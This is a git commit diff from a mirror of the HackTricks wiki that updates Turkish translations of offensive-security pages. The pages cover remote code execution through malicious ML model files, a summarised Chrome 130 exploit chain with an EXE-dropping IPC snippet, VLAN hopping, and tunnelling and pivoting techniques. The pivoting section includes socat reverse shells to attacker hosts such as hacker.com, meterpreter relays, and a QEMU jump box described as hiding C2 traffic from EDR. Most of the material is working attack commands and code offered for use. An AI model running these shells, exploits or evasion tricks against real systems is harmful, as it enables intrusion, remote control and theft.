mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Models-RCE.md', 'src/binary-exploitation/chrome-e
This commit is contained in:
parent
61529ecf5c
commit
5f11bc75a0
@ -14,16 +14,16 @@ Yazım anında bu tür güvenlik açıklarına bazı örnekler şunlardır:
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + kötü niyetli model indirme, kod çalıştırmaya neden olur; yönetim API'sinde Java serileştirme RCE | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (güvensiz YAML) <br> **CVE-2024-3660** (Keras Lambda) | YAML'den model yüklemek `yaml.unsafe_load` kullanır (kod çalıştırma) <br> **Lambda** katmanı ile model yüklemek rastgele Python kodu çalıştırır | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite ayrıştırma) | Özel `.tflite` modeli, tam sayı taşması tetikler → bellek bozulması (potansiyel RCE) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | `joblib.load` ile bir model yüklemek, saldırganın `__reduce__` yükünü çalıştırır | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (güvensiz `np.load`) *tartışmalı* | `numpy.load` varsayılan olarak pickle nesne dizilerine izin veriyor – kötü niyetli `.npy/.npz` kod çalıştırmayı tetikler | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dizin geçişi) <br> **CVE-2024-5187** (tar geçişi) | ONNX modelinin dış-ağırlık yolu dizinden çıkabilir (rastgele dosyaları okuyabilir) <br> Kötü niyetli ONNX model tar, rastgele dosyaları yazabilir (RCE'ye yol açar) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | `joblib.load` ile bir model yüklemek, saldırganın `__reduce__` yükünü çalıştırır | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (güvensiz `np.load`) *tartışmalı* | `numpy.load` varsayılan olarak pickle nesne dizilerine izin veriyordu – kötü niyetli `.npy/.npz` kod çalıştırmayı tetikler | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dizin geçişi) <br> **CVE-2024-5187** (tar geçişi) | ONNX modelinin dış-ağırlık yolu dizinden çıkabilir (rastgele dosyaları okuyabilir) <br> Kötü niyetli ONNX model tar, rastgele dosyaları yazabilir (RCE'ye yol açar) | |
|
||||
| ONNX Runtime (tasarım riski) | *(CVE yok)* ONNX özel ops / kontrol akışı | Özel operatör içeren model, saldırganın yerel kodunu yüklemeyi gerektirir; karmaşık model grafikleri, istenmeyen hesaplamaları çalıştırmak için mantığı kötüye kullanır | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (yol geçişi) | Model yükleme API'sini `--model-control` etkinleştirildiğinde kullanmak, dosyaları yazmak için göreli yol geçişine izin verir (örneğin, RCE için `.bashrc`'yi geçersiz kılmak) | |
|
||||
| **GGML (GGUF formatı)** | **CVE-2024-25664 … 25668** (birden fazla bellek taşması) | Bozuk GGUF model dosyası, ayrıştırıcıda bellek tamponu taşmalarına neden olur, kurban sistemde rastgele kod çalıştırmayı sağlar | |
|
||||
| **Keras (eski formatlar)** | *(Yeni CVE yok)* Eski Keras H5 modeli | Kötü niyetli HDF5 (`.h5`) modeli, Lambda katmanı kodu yüklenirken hala çalışır (Keras güvenli_modu eski formatı kapsamaz – “gerileme saldırısı”) | |
|
||||
| **Diğerleri** (genel) | *Tasarım hatası* – Pickle serileştirme | Birçok ML aracı (örneğin, pickle tabanlı model formatları, Python `pickle.load`) model dosyalarına gömülü rastgele kodu çalıştıracaktır, önlem alınmadıkça | |
|
||||
| **Diğerleri** (genel) | *Tasarım hatası* – Pickle serileştirmesi | Birçok ML aracı (örneğin, pickle tabanlı model formatları, Python `pickle.load`) model dosyalarına gömülü rastgele kodu çalıştıracaktır, önlem alınmadıkça | |
|
||||
|
||||
Ayrıca, [PyTorch](https://github.com/pytorch/pytorch/security) tarafından kullanılanlar gibi bazı python pickle tabanlı modeller, `weights_only=True` ile yüklenmediklerinde sistemde rastgele kod çalıştırmak için kullanılabilir. Bu nedenle, tabloda listelenmemiş olsalar bile, herhangi bir pickle tabanlı model bu tür saldırılara özellikle duyarlı olabilir.
|
||||
Ayrıca, [PyTorch](https://github.com/pytorch/pytorch/security) tarafından kullanılan gibi bazı python pickle tabanlı modeller, `weights_only=True` ile yüklenmediklerinde sistemde rastgele kod çalıştırmak için kullanılabilir. Bu nedenle, tabloda listelenmemiş olsalar bile, herhangi bir pickle tabanlı model bu tür saldırılara özellikle duyarlı olabilir.
|
||||
|
||||
### 🆕 `torch.load` ile InvokeAI RCE (CVE-2024-12029)
|
||||
|
||||
@ -35,7 +35,7 @@ checkpoint = torch.load(path, map_location=torch.device("meta"))
|
||||
```
|
||||
Verilen dosya bir **PyTorch checkpoint (`*.ckpt`)** olduğunda, `torch.load` **pickle deserialization** işlemi gerçekleştirir. İçerik doğrudan kullanıcı kontrolündeki URL'den geldiği için, bir saldırgan checkpoint içine özel bir `__reduce__` yöntemi ile kötü niyetli bir nesne yerleştirebilir; bu yöntem **deserialization** sırasında çalıştırılır ve **uzaktan kod yürütme (RCE)** ile sonuçlanır.
|
||||
|
||||
Açıklık **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %) olarak atanmıştır.
|
||||
Açık, **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %) olarak atanmıştır.
|
||||
|
||||
#### Sömürü adım adım
|
||||
|
||||
@ -87,7 +87,7 @@ Hazır exploit: **Metasploit** modülü `exploit/linux/http/invokeai_rce_cve_202
|
||||
|
||||
---
|
||||
|
||||
Bir ters proxy arkasında eski InvokeAI sürümlerini çalıştırmanız gerekiyorsa, ad-hoc bir önlem örneği:
|
||||
Bir ters proxy arkasında eski InvokeAI sürümlerini çalıştırmak zorundaysanız, ad-hoc bir önlem örneği:
|
||||
```nginx
|
||||
location /api/v2/models/install {
|
||||
deny all; # block direct Internet access
|
||||
@ -133,7 +133,7 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
|
||||
```
|
||||
## Modeller ile Yol Traversali
|
||||
|
||||
[**bu blog yazısında**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties) belirtildiği gibi, farklı AI çerçeveleri tarafından kullanılan çoğu model formatı arşivlere dayanmaktadır, genellikle `.zip`. Bu nedenle, bu formatların kötüye kullanılarak yol traversali saldırıları gerçekleştirilmesi mümkün olabilir; bu da modelin yüklü olduğu sistemden rastgele dosyaların okunmasına olanak tanır.
|
||||
[**bu blog yazısında**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties) belirtildiği gibi, farklı AI çerçeveleri tarafından kullanılan çoğu model formatı arşivlere dayanmaktadır, genellikle `.zip`. Bu nedenle, bu formatların kötüye kullanılması yoluyla yol traversali saldırıları gerçekleştirmek mümkün olabilir; bu, modelin yüklü olduğu sistemden rastgele dosyaların okunmasına olanak tanır.
|
||||
|
||||
Örneğin, aşağıdaki kod ile yüklendiğinde `/tmp` dizininde bir dosya oluşturacak bir model oluşturabilirsiniz:
|
||||
```python
|
||||
@ -146,7 +146,7 @@ return member
|
||||
with tarfile.open("traversal_demo.model", "w:gz") as tf:
|
||||
tf.add("harmless.txt", filter=escape)
|
||||
```
|
||||
Aşağıdaki kod ile yüklendiğinde `/tmp` dizinine bir symlink oluşturacak bir model oluşturabilirsiniz:
|
||||
Ya da, aşağıdaki kod ile yüklendiğinde `/tmp` dizinine bir symlink oluşturacak bir model oluşturabilirsiniz:
|
||||
```python
|
||||
import tarfile, pathlib
|
||||
|
||||
|
@ -3,7 +3,7 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
> Bu sayfa, **pratik** bir şekilde, Google Chrome 130'a karşı modern bir "tam zincir" istismar iş akışının yüksek seviyeli bir özetini sunmaktadır. Bu, **“101 Chrome Exploitation”** araştırma serisine dayanmaktadır (Bölüm-0 — Giriş).
|
||||
> Amaç, pentesterlar ve istismar geliştiricilerine, teknikleri kendi araştırmaları için yeniden üretmek veya uyarlamak için gerekli minimum arka planı sağlamaktır.
|
||||
> Amaç, pentesterlar ve istismar geliştiricilerine, kendi araştırmaları için teknikleri yeniden üretmek veya uyarlamak için gerekli minimum arka planı sağlamaktır.
|
||||
|
||||
## 1. Chrome Mimarisi Özeti
|
||||
Saldırı yüzeyini anlamak, kodun nerede çalıştığını ve hangi kumanda alanlarının geçerli olduğunu bilmek gerektirir.
|
||||
@ -30,14 +30,14 @@ Saldırı yüzeyini anlamak, kodun nerede çalıştığını ve hangi kumanda al
|
||||
Katmanlı derin savunma:
|
||||
|
||||
* **V8 sandbox** (İzole): bellek izinleri, JIT'lenmiş JS / Wasm'den rastgele okuma/yazmayı önlemek için kısıtlanmıştır.
|
||||
* **Renderer ↔ Browser split**, **Mojo/IPC** mesaj geçişi ile sağlanır; renderer'ın *yerel* FS/ağ erişimi yoktur.
|
||||
* **OS sandboxes**, her süreci daha da sınırlar (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profilleri).
|
||||
* **Renderer ↔ Browser ayrımı**, **Mojo/IPC** mesaj geçişi ile sağlanır; renderer'ın *yerel* FS/ağ erişimi yoktur.
|
||||
* **OS sandbox'ları**, her süreci daha da sınırlar (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profilleri).
|
||||
|
||||
Bir *uzaktan* saldırganın bu nedenle **üç** ardışık ilkeye ihtiyacı vardır:
|
||||
|
||||
1. V8 içinde **rastgele RW elde etmek için bellek bozulması**.
|
||||
2. Saldırganın **V8 sandbox'tan tam renderer belleğine kaçmasına** izin veren ikinci bir hata.
|
||||
3. **Chrome OS sandbox'ının dışındaki kodu çalıştırmak için** son bir sandbox-kaçışı (genellikle bellek bozulmasından ziyade mantık).
|
||||
2. Saldırganın **V8 sandbox'ından tam renderer belleğine kaçmasına** izin veren ikinci bir hata.
|
||||
3. **Chrome OS sandbox'ının dışındaki** kodu çalıştırmak için son bir sandbox-kaçışı (genellikle bellek bozulmasından ziyade mantık).
|
||||
|
||||
---
|
||||
|
||||
@ -84,7 +84,7 @@ Sonuç: **V8 içinde keyfi okuma/yazma**.
|
||||
|
||||
## 3. Aşama 2 – V8 Sandbox'tan Kaçış (sorun 379140430)
|
||||
|
||||
Bir Wasm fonksiyonu tier-up-compile edildiğinde, bir **JS ↔ Wasm wrapper** oluşturulur. Bir imza-uyumsuzluk hatası, Wasm fonksiyonu *yine de yığın üzerinde* yeniden optimize edilirken wrapper'ın güvenilir **`Tuple2`** nesnesinin sonunu aşarak yazmasına neden olur.
|
||||
Bir Wasm fonksiyonu tier-up-compile edildiğinde, bir **JS ↔ Wasm wrapper** oluşturulur. Bir imza-uyumsuzluk hatası, Wasm fonksiyonu *yığın üzerinde hala iken* yeniden optimize edildiğinde, wrapper'ın güvenilir **`Tuple2`** nesnesinin sonunu aşarak yazmasına neden olur.
|
||||
|
||||
`Tuple2` nesnesinin 2 × 64-bit alanını geçersiz kılmak, **Renderer sürecindeki herhangi bir adreste okuma/yazma** sağlar ve böylece V8 sandbox'ını etkili bir şekilde atlatır.
|
||||
|
||||
@ -107,7 +107,7 @@ Kötüye kullanım sonrası tam özellikli **renderer R/W primitive**'ine sahibi
|
||||
|
||||
## 4. Aşama 3 – Renderer → OS Sandbox Kaçışı (CVE-2024-11114)
|
||||
|
||||
**Mojo** IPC arayüzü `blink.mojom.DragService.startDragging()` *kısmen güvenilir* parametrelerle Renderer'dan çağrılabilir. **Rastgele bir dosya yolu** gösteren bir `DragData` yapısı oluşturarak, renderer tarayıcıyı **renderer sandbox'ı dışındaki** bir *yerel* sürükle-bırak işlemi gerçekleştirmeye ikna eder.
|
||||
**Mojo** IPC arayüzü `blink.mojom.DragService.startDragging()` Renderer'dan *kısmen güvenilir* parametrelerle çağrılabilir. Bir **rastgele dosya yolu** gösteren bir `DragData` yapısı oluşturarak, renderer tarayıcıyı **renderer sandbox'ının dışındaki** *yerel* sürükle-bırak işlemi gerçekleştirmeye ikna eder.
|
||||
|
||||
Bunu kötüye kullanarak, programatik olarak kötü niyetli bir EXE'yi (önceden yazılabilir bir konuma bırakılmış) Masaüstü'ne “sürükleyebiliriz”, burada Windows belirli dosya türlerini bırakıldığında otomatik olarak çalıştırır.
|
||||
|
||||
@ -124,18 +124,18 @@ mime_type: "application/x-msdownload"
|
||||
}
|
||||
});
|
||||
```
|
||||
No additional memory corruption is necessary – the **logic flaw** gives us arbitrary file execution with the user’s privileges.
|
||||
Ekstra bellek bozulması gerekli değildir – **mantık hatası** bize kullanıcının yetkileriyle rastgele dosya yürütme imkanı verir.
|
||||
|
||||
---
|
||||
|
||||
## 5. Tam Zincir Akışı
|
||||
|
||||
1. **Kullanıcı kötü niyetli** web sayfasını ziyaret eder.
|
||||
1. **Kullanıcı** kötü niyetli web sayfasını ziyaret eder.
|
||||
2. **Aşama 1**: Wasm modülü CVE-2025-0291'i kötüye kullanır → V8 yığını AAR/AAW.
|
||||
3. **Aşama 2**: Wrapper uyumsuzluğu `Tuple2`'yi bozar → V8 kumandasından kaçış.
|
||||
4. **Aşama 3**: `startDragging()` IPC → OS kumandasından kaçış & yükü çalıştır.
|
||||
|
||||
Sonuç: **Uzaktan Kod Çalıştırma (RCE)** ana makinede (Chrome 130, Windows/Linux/macOS).
|
||||
Sonuç: **Uzaktan Kod Yürütme (RCE)** ana makinede (Chrome 130, Windows/Linux/macOS).
|
||||
|
||||
---
|
||||
|
||||
@ -162,8 +162,6 @@ chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-nativ
|
||||
* V8 içinde ikinci bir bellek bozulma hatası elde etmek (örneğin, sarmalayıcı uyumsuzluğu) **V8-sandbox kaçışı** büyük ölçüde basitleştirir.
|
||||
* Ayrıcalıklı Mojo IPC arayüzlerindeki mantık seviyesi zayıflıkları genellikle **son sandbox kaçışı** için yeterlidir – *bellek dışı* hatalara dikkat edin.
|
||||
|
||||
|
||||
|
||||
## Referanslar
|
||||
* [101 Chrome Exploitation — Part 0 (Önsöz)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
|
||||
* [Chromium güvenlik mimarisi](https://chromium.org/developers/design-documents/security)
|
||||
|
@ -89,12 +89,12 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **Güvenlik – Terrapin Saldırısı (CVE-2023-48795)**
|
||||
> 2023 Terrapin geri alma saldırısı, bir adam-arada saldırganın erken SSH el sıkışmasını bozmasına ve **herhangi bir yönlendirilmiş kanala** veri enjekte etmesine olanak tanıyabilir ( `-L`, `-R`, `-D` ). Hem istemcinin hem de sunucunun yamanmış olduğundan emin olun (**OpenSSH ≥ 9.6/LibreSSH 6.7**) veya SSH tünellerine güvenmeden önce savunmasız `chacha20-poly1305@openssh.com` ve `*-etm@openssh.com` algoritmalarını `sshd_config`/`ssh_config` içinde açıkça devre dışı bırakın.
|
||||
> 2023 Terrapin düşürme saldırısı, bir adam-arada (man-in-the-middle) erken SSH el sıkışmasını bozmasına ve **herhangi bir yönlendirilmiş kanala** ( `-L`, `-R`, `-D` ) veri enjekte etmesine izin verebilir. Hem istemcinin hem de sunucunun yamanmış olduğundan emin olun (**OpenSSH ≥ 9.6/LibreSSH 6.7**) veya SSH tünellerine güvenmeden önce savunmasız `chacha20-poly1305@openssh.com` ve `*-etm@openssh.com` algoritmalarını `sshd_config`/`ssh_config` içinde açıkça devre dışı bırakın.
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
Bir ana bilgisayar üzerinden **ssh** ile tüm **trafik** için bir **alt ağ** üzerinden **tünel** oluşturabilirsiniz.\
|
||||
Örneğin, 10.10.10.0/24 adresine giden tüm trafiği yönlendirmek
|
||||
Bir ana bilgisayar üzerinden **ssh** ile tüm **trafik**i bir **alt ağa** **tünelleme** yapabilirsiniz.\
|
||||
Örneğin, 10.10.10.0/24 adresine giden tüm trafiği yönlendirmek.
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
@ -178,7 +178,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
|
||||
```
|
||||
## Chisel
|
||||
|
||||
Bunu [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) adresindeki sürümler sayfasından indirebilirsiniz.\
|
||||
Bunu [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) sürümler sayfasından indirebilirsiniz.\
|
||||
**İstemci ve sunucu için aynı sürümü kullanmalısınız.**
|
||||
|
||||
### socks
|
||||
@ -267,7 +267,7 @@ victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntl
|
||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
|
||||
```
|
||||
### Ters shell
|
||||
### Ters kabuk
|
||||
```bash
|
||||
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
||||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
@ -290,7 +290,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
||||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||
#Execute the meterpreter
|
||||
```
|
||||
**Kimlik doğrulaması yapılmamış bir proxy'yi** atlamak için, kurbanın konsolundaki son satırın yerine bu satırı çalıştırabilirsiniz:
|
||||
**Kimlik doğrulaması yapılmamış bir proxy'yi** atlatmak için, kurbanın konsolundaki son satırın yerine bu satırı çalıştırabilirsiniz:
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
@ -300,7 +300,7 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke
|
||||
|
||||
**/bin/sh konsolu**
|
||||
|
||||
Her iki tarafta da: İstemci ve Sunucu için sertifikalar oluşturun.
|
||||
Her iki tarafta da: İstemci ve Sunucu için sertifikalar oluşturun
|
||||
```bash
|
||||
# Execute these commands on both sides
|
||||
FILENAME=socatssl
|
||||
@ -316,7 +316,7 @@ victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.
|
||||
```
|
||||
### Remote Port2Port
|
||||
|
||||
Yerel SSH portunu (22) saldırgan ana bilgisayarın 443 portuna bağlayın.
|
||||
Yerel SSH portunu (22) saldırgan ana bilgisayarın 443 portuna bağlayın
|
||||
```bash
|
||||
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
|
||||
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
|
||||
@ -387,7 +387,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Bir proxy'ye karşı kimlik doğrulaması yapar ve belirttiğiniz dış hizmete yönlendirilmiş yerel bir port bağlar. Ardından, bu port üzerinden tercih ettiğiniz aracı kullanabilirsiniz.\
|
||||
Bir proxy'ye karşı kimlik doğrulaması yapar ve belirttiğiniz dış hizmete yönlendirilmiş olarak yerel bir port bağlar. Ardından, bu port üzerinden tercih ettiğiniz aracı kullanabilirsiniz.\
|
||||
Örneğin, 443 portunu yönlendirin.
|
||||
```
|
||||
Username Alice
|
||||
@ -396,12 +396,12 @@ Domain CONTOSO.COM
|
||||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Şimdi, örneğin kurban üzerinde **SSH** hizmetini 443 numaralı portta dinleyecek şekilde ayarlarsanız. Saldırgan 2222 numaralı port üzerinden buna bağlanabilirsiniz.\
|
||||
Şimdi, örneğin kurban üzerinde **SSH** hizmetini 443 numaralı portta dinleyecek şekilde ayarlarsanız. Buna saldırganın 2222 numaralı portu üzerinden bağlanabilirsiniz.\
|
||||
Ayrıca, localhost:443'e bağlanan bir **meterpreter** kullanabilir ve saldırgan 2222 numaralı portta dinliyor olabilir.
|
||||
|
||||
## YARP
|
||||
|
||||
Microsoft tarafından oluşturulan bir ters proxy. Bunu burada bulabilirsiniz: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
||||
Microsoft tarafından oluşturulmuş bir ters proxy. Bunu burada bulabilirsiniz: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
||||
|
||||
## DNS Tünelleme
|
||||
|
||||
@ -415,7 +415,7 @@ attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
#You can see the victim at 1.1.1.2
|
||||
```
|
||||
Tünel çok yavaş olacaktır. Bu tünel üzerinden sıkıştırılmış bir SSH bağlantısı oluşturmak için şunu kullanabilirsiniz:
|
||||
Tünel çok yavaş olacak. Bu tünel üzerinden sıkıştırılmış bir SSH bağlantısı oluşturmak için şunu kullanabilirsiniz:
|
||||
```
|
||||
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||
```
|
||||
@ -532,7 +532,7 @@ Stdout'tan veya HTTP arayüzünden [http://127.0.0.1:4040](http://127.0.0.1:4000
|
||||
3 tünel açar:
|
||||
|
||||
- 2 TCP
|
||||
- 1 HTTP, /tmp/httpbin/ dizininden statik dosya sergilemesi ile
|
||||
- 1 HTTP, /tmp/httpbin/ dizininden statik dosyaların sergilenmesiyle
|
||||
```yaml
|
||||
tunnels:
|
||||
mytcp:
|
||||
@ -547,7 +547,7 @@ addr: file:///tmp/httpbin/
|
||||
```
|
||||
## Cloudflared (Cloudflare Tüneli)
|
||||
|
||||
Cloudflare’ın `cloudflared` daemon'u, **yerel TCP/UDP hizmetlerini** dışa açan tüneller oluşturabilir ve bu, Cloudflare’ın kenarını buluşma noktası olarak kullanarak, gelen güvenlik duvarı kurallarına ihtiyaç duymadan yapılır. Bu, çıkış güvenlik duvarının yalnızca HTTPS trafiğine izin verdiği ancak gelen bağlantıların engellendiği durumlarda oldukça kullanışlıdır.
|
||||
Cloudflare’ın `cloudflared` daemon'u, **yerel TCP/UDP hizmetlerini** dışa açan tüneller oluşturabilir; bu, Cloudflare’ın kenarını buluşma noktası olarak kullanarak, gelen güvenlik duvarı kurallarına ihtiyaç duymadan yapılır. Bu, çıkış güvenlik duvarının yalnızca HTTPS trafiğine izin verdiği ancak gelen bağlantıların engellendiği durumlarda oldukça kullanışlıdır.
|
||||
|
||||
### Hızlı tünel tek satır komutu
|
||||
```bash
|
||||
@ -574,11 +574,11 @@ Bağlayıcıyı başlatın:
|
||||
```bash
|
||||
cloudflared tunnel run mytunnel
|
||||
```
|
||||
Çünkü tüm trafik **443 üzerinden dışa çıkıyor**, Cloudflared tüneller, giriş ACL'lerini veya NAT sınırlarını aşmanın basit bir yoludur. İkili dosyanın genellikle yükseltilmiş ayrıcalıklarla çalıştığını unutmayın – mümkünse konteynerler veya `--user` bayrağını kullanın.
|
||||
Çünkü tüm trafik ana bilgisayardan **443 üzerinden dışa çıkıyor**, Cloudflared tüneller, giriş ACL'lerini veya NAT sınırlarını aşmanın basit bir yoludur. İkili dosyanın genellikle yükseltilmiş ayrıcalıklarla çalıştığını unutmayın – mümkünse konteynerler veya `--user` bayrağını kullanın.
|
||||
|
||||
## FRP (Hızlı Ters Proxy)
|
||||
|
||||
[`frp`](https://github.com/fatedier/frp) **TCP, UDP, HTTP/S, SOCKS ve P2P NAT-delik-delme** destekleyen aktif olarak bakım yapılan bir Go ters proxy'dir. **v0.53.0 (Mayıs 2024)** ile birlikte, bir **SSH Tünel Geçidi** olarak hareket edebilir, böylece bir hedef ana bilgisayar yalnızca stok OpenSSH istemcisini kullanarak bir ters tünel açabilir – ek bir ikili dosyaya gerek yoktur.
|
||||
[`frp`](https://github.com/fatedier/frp) **TCP, UDP, HTTP/S, SOCKS ve P2P NAT-delik-delme** destekleyen aktif olarak bakım yapılan bir Go ters proxy'dir. **v0.53.0 (Mayıs 2024)** ile birlikte, bir **SSH Tünel Geçidi** olarak hareket edebilir, böylece bir hedef ana bilgisayar yalnızca stok OpenSSH istemcisini kullanarak ters bir tünel açabilir – ek bir ikili dosya gerekmiyor.
|
||||
|
||||
### Klasik ters TCP tüneli
|
||||
```bash
|
||||
@ -614,7 +614,7 @@ Yukarıdaki komut, kurbanın portunu **8080** olarak **attacker_ip:9000** şekli
|
||||
|
||||
QEMU’nun kullanıcı modu ağı (`-netdev user`), *host* üzerinde bir TCP/UDP portunu **bağlayan** ve bunu *guest* içine yönlendiren `hostfwd` adlı bir seçeneği destekler. Misafir tam bir SSH daemon'u çalıştırdığında, hostfwd kuralı, tamamen geçici bir VM içinde yaşayan, atılabilir bir SSH jump box sağlar – tüm kötü niyetli etkinlik ve dosyaların sanal disk içinde kalması nedeniyle EDR'den C2 trafiğini gizlemek için mükemmeldir.
|
||||
|
||||
### Hızlı bir satırlık
|
||||
### Hızlı bir satır
|
||||
```powershell
|
||||
# Windows victim (no admin rights, no driver install – portable binaries only)
|
||||
qemu-system-x86_64.exe ^
|
||||
@ -659,7 +659,7 @@ while ! ping -c1 45.77.4.101; do sleep 2; done
|
||||
### Defender ipuçları
|
||||
|
||||
• Kullanıcı yazılabilir yollarında **beklenmedik QEMU/VirtualBox/KVM ikili dosyaları** için uyarı verin.
|
||||
• `qemu-system*.exe`'den kaynaklanan çıkış bağlantılarını engelleyin.
|
||||
• `qemu-system*.exe`'den kaynaklanan dış bağlantıları engelleyin.
|
||||
• QEMU başlatıldıktan hemen sonra bağlanan nadir dinleme portlarını (2222, 10022, …) araştırın.
|
||||
|
||||
---
|
||||
|
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Eğer bir anahtara doğrudan erişim mevcutsa, VLAN segmentasyonu atlatılabilir. Bu, bağlı portun trunk moduna yeniden yapılandırılmasını, hedef VLAN'lar için sanal arayüzlerin oluşturulmasını ve IP adreslerinin, senaryoya bağlı olarak dinamik (DHCP) veya statik olarak ayarlanmasını içerir (**daha fazla detay için kontrol edin [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
Eğer bir anahtara doğrudan erişim mevcutsa, VLAN segmentasyonu atlatılabilir. Bu, bağlı portun trunk moduna yeniden yapılandırılmasını, hedef VLAN'lar için sanal arayüzlerin oluşturulmasını ve senaryoya bağlı olarak IP adreslerinin dinamik (DHCP) veya statik olarak ayarlanmasını içerir (**daha fazla bilgi için [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
|
||||
Öncelikle, belirli bağlı portun tanımlanması gereklidir. Bu genellikle CDP mesajları aracılığıyla veya **include** maskesi ile portu arayarak gerçekleştirilebilir.
|
||||
Öncelikle, belirli bağlı portun tanımlanması gereklidir. Bu genellikle CDP mesajları aracılığıyla veya **include** maskesi kullanılarak portu arayarak gerçekleştirilebilir.
|
||||
|
||||
**Eğer CDP çalışmıyorsa, port tanımlaması MAC adresini arayarak yapılmaya çalışılabilir**:
|
||||
```
|
||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
Trunk moduna geçmeden önce, mevcut VLAN'ların bir listesi derlenmeli ve tanımlayıcıları belirlenmelidir. Bu tanımlayıcılar daha sonra arayüze atanır ve trunk üzerinden çeşitli VLAN'lara erişim sağlanır. Kullanılan port, örneğin, VLAN 10 ile ilişkilidir.
|
||||
Trunk moduna geçmeden önce, mevcut VLAN'ların bir listesi derlenmeli ve tanımlayıcıları belirlenmelidir. Bu tanımlayıcılar daha sonra arayüze atanarak trunk üzerinden çeşitli VLAN'lara erişim sağlanır. Kullanılan port, örneğin, VLAN 10 ile ilişkilidir.
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
@ -20,7 +20,7 @@ SW1(config)# interface GigabitEthernet 0/2
|
||||
SW1(config-if)# switchport trunk encapsulation dot1q
|
||||
SW1(config-if)# switchport mode trunk
|
||||
```
|
||||
Trunk moduna geçmek, bağlantıyı geçici olarak kesintiye uğratacaktır, ancak bu daha sonra geri yüklenebilir.
|
||||
Trunk moduna geçmek, bağlantıyı geçici olarak kesintiye uğratacaktır, ancak bu daha sonra geri getirilebilir.
|
||||
|
||||
Sanal arayüzler oluşturulur, VLAN kimlikleri atanır ve etkinleştirilir:
|
||||
```bash
|
||||
@ -40,25 +40,25 @@ sudo dhclient -v eth0.20
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
Bir arayüzde (VLAN 10) statik bir IP adresi manuel olarak ayarlamak için örnek:
|
||||
Bir arayüzde (VLAN 10) statik bir IP adresini manuel olarak ayarlamak için örnek:
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
